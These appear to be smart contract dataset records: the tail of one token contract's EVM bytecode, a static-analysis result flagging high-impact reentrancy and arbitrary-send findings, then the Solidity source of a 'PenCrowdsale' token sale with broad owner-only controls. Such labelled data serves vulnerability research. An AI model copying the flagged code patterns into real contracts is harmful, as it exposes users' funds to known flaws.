fffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294e565b6040518363ffffffff1660e01b8152600401610e1f929190612e11565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e63565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612afa565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e3a565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa8565b5050565b6110d96112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc1565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f81565b60405180910390fd5b6111d96127106111cb83683635c9adc5dea000006120fb90919063ffffffff16565b61217690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112109190613081565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613041565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f41565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190613081565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613001565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f01565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612fe1565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613061565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131b7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e01565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121c0565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612edf565b60405180910390fd5b5060008385611c8b9190613298565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce860028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d13573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6460028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8f573d6000803e3d6000fd5b5050565b6000600654821115611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190612f21565b60405180910390fd5b6000611de46121ed565b9050611df9818461217690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8d5781602001602082028036833780820191505090505b5090503081600081518110611ecb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6d57600080fd5b505afa158015611f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa5919061294e565b81600181518110611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120aa95949392919061309c565b600060405180830381600087803b1580156120c457600080fd5b505af11580156120d8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210e5760009050612170565b6000828461211c919061323e565b905082848261212b919061320d565b1461216b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216290612fa1565b60405180910390fd5b809150505b92915050565b60006121b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612218565b905092915050565b806121ce576121cd61227b565b5b6121d98484846122ac565b806121e7576121e6612477565b5b50505050565b60008060006121fa612489565b91509150612211818361217690919063ffffffff16565b9250505090565b6000808311829061225f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122569190612edf565b60405180910390fd5b506000838561226e919061320d565b9050809150509392505050565b600060085414801561228f57506000600954145b15612299576122aa565b600060088190555060006009819055505b565b6000806000806000806122be876124eb565b95509550955095509550955061231c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fd816125fb565b61240784836126b8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124649190613081565b60405180910390a3505050505050505050565b60026008819055506007600981905550565b600080600060065490506000683635c9adc5dea0000090506124bf683635c9adc5dea0000060065461217690919063ffffffff16565b8210156124de57600654683635c9adc5dea000009350935050506124e7565b81819350935050505b9091565b60008060008060008060008060006125088a6008546009546126f2565b92509250925060006125186121ed565b9050600080600061252b8e878787612788565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ac91906131b7565b9050838110156125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e890612f61565b60405180910390fd5b8091505092915050565b60006126056121ed565b9050600061261c82846120fb90919063ffffffff16565b905061267081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cd8260065461255390919063ffffffff16565b6006819055506126e88160075461259d90919063ffffffff16565b6007819055505050565b60008060008061271e6064612710888a6120fb90919063ffffffff16565b61217690919063ffffffff16565b90506000612748606461273a888b6120fb90919063ffffffff16565b61217690919063ffffffff16565b9050600061277182612763858c61255390919063ffffffff16565b61255390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a185896120fb90919063ffffffff16565b905060006127b886896120fb90919063ffffffff16565b905060006127cf87896120fb90919063ffffffff16565b905060006127f8826127ea858761255390919063ffffffff16565b61255390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282461281f84613136565b613111565b9050808382526020820190508285602086028201111561284357600080fd5b60005b858110156128735781612859888261287d565b845260208401935060208301925050600181019050612846565b5050509392505050565b60008135905061288c81613774565b92915050565b6000815190506128a181613774565b92915050565b600082601f8301126128b857600080fd5b81356128c8848260208601612811565b91505092915050565b6000813590506128e08161378b565b92915050565b6000815190506128f58161378b565b92915050565b60008135905061290a816137a2565b92915050565b60008151905061291f816137a2565b92915050565b60006020828403121561293757600080fd5b60006129458482850161287d565b91505092915050565b60006020828403121561296057600080fd5b600061296e84828501612892565b91505092915050565b6000806040838503121561298a57600080fd5b60006129988582860161287d565b92505060206129a98582860161287d565b9150509250929050565b6000806000606084860312156129c857600080fd5b60006129d68682870161287d565b93505060206129e78682870161287d565b92505060406129f8868287016128fb565b9150509250925092565b60008060408385031215612a1557600080fd5b6000612a238582860161287d565b9250506020612a34858286016128fb565b9150509250929050565b600060208284031215612a5057600080fd5b600082013567ffffffffffffffff811115612a6a57600080fd5b612a76848285016128a7565b91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016128d1565b91505092915050565b600060208284031215612aba57600080fd5b6000612ac8848285016128e6565b91505092915050565b600060208284031215612ae357600080fd5b6000612af1848285016128fb565b91505092915050565b600080600060608486031215612b0f57600080fd5b6000612b1d86828701612910565b9350506020612b2e86828701612910565b9250506040612b3f86828701612910565b9150509250925092565b6000612b558383612b61565b60208301905092915050565b612b6a816132cc565b82525050565b612b79816132cc565b82525050565b6000612b8a82613172565b612b948185613195565b9350612b9f83613162565b8060005b83811015612bd0578151612bb78882612b49565b9750612bc283613188565b925050600181019050612ba3565b5085935050505092915050565b612be6816132de565b82525050565b612bf581613321565b82525050565b6000612c068261317d565b612c1081856131a6565b9350612c20818560208601613333565b612c298161346d565b840191505092915050565b6000612c416023836131a6565b9150612c4c8261347e565b604082019050919050565b6000612c64602a836131a6565b9150612c6f826134cd565b604082019050919050565b6000612c876022836131a6565b9150612c928261351c565b604082019050919050565b6000612caa601b836131a6565b9150612cb58261356b565b602082019050919050565b6000612ccd601d836131a6565b9150612cd882613594565b602082019050919050565b6000612cf06021836131a6565b9150612cfb826135bd565b604082019050919050565b6000612d136020836131a6565b9150612d1e8261360c565b602082019050919050565b6000612d366029836131a6565b9150612d4182613635565b604082019050919050565b6000612d596025836131a6565b9150612d6482613684565b604082019050919050565b6000612d7c6001836131a6565b9150612d87826136d3565b602082019050919050565b6000612d9f6024836131a6565b9150612daa826136fc565b604082019050919050565b6000612dc26011836131a6565b9150612dcd8261374b565b602082019050919050565b612de18161330a565b82525050565b612df081613314565b82525050565b6000602082019050612e0b6000830184612b70565b92915050565b6000604082019050612e266000830185612b70565b612e336020830184612b70565b9392505050565b6000604082019050612e4f6000830185612b70565b612e5c6020830184612dd8565b9392505050565b600060c082019050612e786000830189612b70565b612e856020830188612dd8565b612e926040830187612bec565b612e9f6060830186612bec565b612eac6080830185612b70565b612eb960a0830184612dd8565b979650505050505050565b6000602082019050612ed96000830184612bdd565b92915050565b60006020820190508181036000830152612ef98184612bfb565b905092915050565b60006020820190508181036000830152612f1a81612c34565b9050919050565b60006020820190508181036000830152612f3a81612c57565b9050919050565b60006020820190508181036000830152612f5a81612c7a565b9050919050565b60006020820190508181036000830152612f7a81612c9d565b9050919050565b60006020820190508181036000830152612f9a81612cc0565b9050919050565b60006020820190508181036000830152612fba81612ce3565b9050919050565b60006020820190508181036000830152612fda81612d06565b9050919050565b60006020820190508181036000830152612ffa81612d29565b9050919050565b6000602082019050818103600083015261301a81612d4c565b9050919050565b6000602082019050818103600083015261303a81612d6f565b9050919050565b6000602082019050818103600083015261305a81612d92565b9050919050565b6000602082019050818103600083015261307a81612db5565b9050919050565b60006020820190506130966000830184612dd8565b92915050565b600060a0820190506130b16000830188612dd8565b6130be6020830187612bec565b81810360408301526130d08186612b7f565b90506130df6060830185612b70565b6130ec6080830184612dd8565b9695505050505050565b600060208201905061310b6000830184612de7565b92915050565b600061311b61312c565b90506131278282613366565b919050565b6000604051905090565b600067ffffffffffffffff8211156131515761315061343e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c28261330a565b91506131cd8361330a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613202576132016133e0565b5b828201905092915050565b60006132188261330a565b91506132238361330a565b9250826132335761323261340f565b5b828204905092915050565b60006132498261330a565b91506132548361330a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328d5761328c6133e0565b5b828202905092915050565b60006132a38261330a565b91506132ae8361330a565b9250828210156132c1576132c06133e0565b5b828203905092915050565b60006132d7826132ea565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332c8261330a565b9050919050565b60005b83811015613351578082015181840152602081019050613336565b83811115613360576000848401525b50505050565b61336f8261346d565b810181811067ffffffffffffffff8211171561338e5761338d61343e565b5b80604052505050565b60006133a28261330a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d5576133d46133e0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f3100000000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377d816132cc565b811461378857600080fd5b50565b613794816132de565b811461379f57600080fd5b50565b6137ab8161330a565b81146137b657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e0eea58d5fe67431eaf91c930abc2efddc261ee19c7a63ccc8389b7e1493c4064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,978 |
0xc5728da43cc9d4c7f32e8d0e377354fd626bf96d
|
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title PenCrowdsale
* @dev Crowdsale that locks tokens from withdrawal until it ends.
*/
contract PenCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
// Map of all purchaiser's balances (doesn't include bounty amounts)
mapping(address => uint256) public balances;
// Amount of issued tokens
uint256 public tokensIssued;
// Bonus tokens rate multiplier x1000 (i.e. 1200 is 1.2 x 1000 = 120% x1000 = +20% bonus)
uint256 public bonusMultiplier;
// Is a crowdsale closed?
bool public closed;
/**
* Event for token withdrawal logging
* @param receiver who receive the tokens
* @param amount amount of tokens sent
*/
event TokenDelivered(address indexed receiver, uint256 amount);
/**
* Event for token adding by referral program
* @param beneficiary who got the tokens
* @param amount amount of tokens added
*/
event TokenAdded(address indexed beneficiary, uint256 amount);
/**
* Init crowdsale by setting its params
*
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
* @param _bonusMultiplier bonus tokens rate multiplier x1000
*/
function PenCrowdsale(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _bonusMultiplier
) Crowdsale(
_rate,
_wallet,
_token
) {
bonusMultiplier = _bonusMultiplier;
}
/**
* @dev Withdraw tokens only after crowdsale ends.
*/
function withdrawTokens() public {
_withdrawTokensFor(msg.sender);
}
/**
* @dev Overrides parent by storing balances instead of issuing tokens right away.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
require(!hasClosed());
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
tokensIssued = tokensIssued.add(_tokenAmount);
}
/**
* @dev Overrides the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).mul(bonusMultiplier).div(1000);
}
/**
* @dev Deliver tokens to receiver_ after crowdsale ends.
*/
function withdrawTokensFor(address receiver_) public onlyOwner {
_withdrawTokensFor(receiver_);
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return closed;
}
/**
* @dev Closes the period in which the crowdsale is open.
*/
function closeCrowdsale(bool closed_) public onlyOwner {
closed = closed_;
}
/**
* @dev set the bonus multiplier.
*/
function setBonusMultiplier(uint256 bonusMultiplier_) public onlyOwner {
bonusMultiplier = bonusMultiplier_;
}
/**
* @dev Withdraw tokens excess on the contract after crowdsale.
*/
function postCrowdsaleWithdraw(uint256 _tokenAmount) public onlyOwner {
token.transfer(wallet, _tokenAmount);
}
/**
* @dev Add tokens for specified beneficiary (referral system tokens, for example).
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens added
*/
function addTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner {
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
tokensIssued = tokensIssued.add(_tokenAmount);
emit TokenAdded(_beneficiary, _tokenAmount);
}
/**
* @dev Withdraw tokens for receiver_ after crowdsale ends.
*/
function _withdrawTokensFor(address receiver_) internal {
require(hasClosed());
uint256 amount = balances[receiver_];
require(amount > 0);
balances[receiver_] = 0;
emit TokenDelivered(receiver_, amount);
_deliverTokens(receiver_, amount);
}
}
|
